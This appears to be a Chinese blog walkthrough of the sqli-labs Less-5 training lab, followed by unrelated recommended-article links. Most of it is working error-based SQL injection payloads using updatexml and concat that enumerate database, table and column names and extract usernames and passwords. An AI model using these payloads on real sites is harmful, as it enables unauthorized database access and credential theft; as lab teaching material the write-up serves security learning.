SQL注入实例(sqli-labs/less-5)

0、初始页面

1、确定闭合字符

复制代码
?id=1 and 1=1 
?id=1 and 1=2
?id=1'
?id=1' --+

在进行前两句传参时,页面没有发生任何变化,但是当使用单引号闭合时,报错了。通过报错可以确定闭合符号为单引号。

2、爆库名

复制代码
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+ 

3、爆表名

复制代码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+

4、爆列名

复制代码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),0x7e),1)--+

5、查询最终目标

复制代码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1) --+

因为concat有字符长度限制,所以需要substr搭配使用

复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),1,32)),0x7e),1) --+
复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),32,64)),0x7e),1) --+
复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),64,96)),0x7e),1) --+
复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),96,128)),0x7e),1) --+
相关推荐
Anastasiozzzz10 分钟前
深入研究RAG: 在线阶段-查询&问答
数据库·人工智能·ai·embedding
卤炖阑尾炎3 小时前
基于 MySQL 主主复制 + HAProxy+Keepalived 构建高可用集群实战
数据库·mysql
Dxy12393102163 小时前
MySQL 如何高效删除大量数据:策略与最佳实践
数据库·mysql·oracle
倔强的石头_4 小时前
从 “不得不存” 到 “战略必争”:工业数据的价值觉醒之路
数据库
倔强的石头_4 小时前
新型电力系统应该用什么数据库?——时序数据库选型与落地实战
数据库
南汐以墨5 小时前
一个另类的数据库-Redis
数据库·redis·缓存
RInk7oBjo5 小时前
spring-事务管理
数据库·sql·spring
希望永不加班6 小时前
SpringBoot 数据库连接池配置(HikariCP)最佳实践
java·数据库·spring boot·后端·spring
黑牛儿6 小时前
MySQL 索引实战详解:从创建到优化,彻底解决查询慢问题
服务器·数据库·后端·mysql
捧月华如6 小时前
RAG 入门-向量存储与企业级向量数据库 milvus
数据库·milvus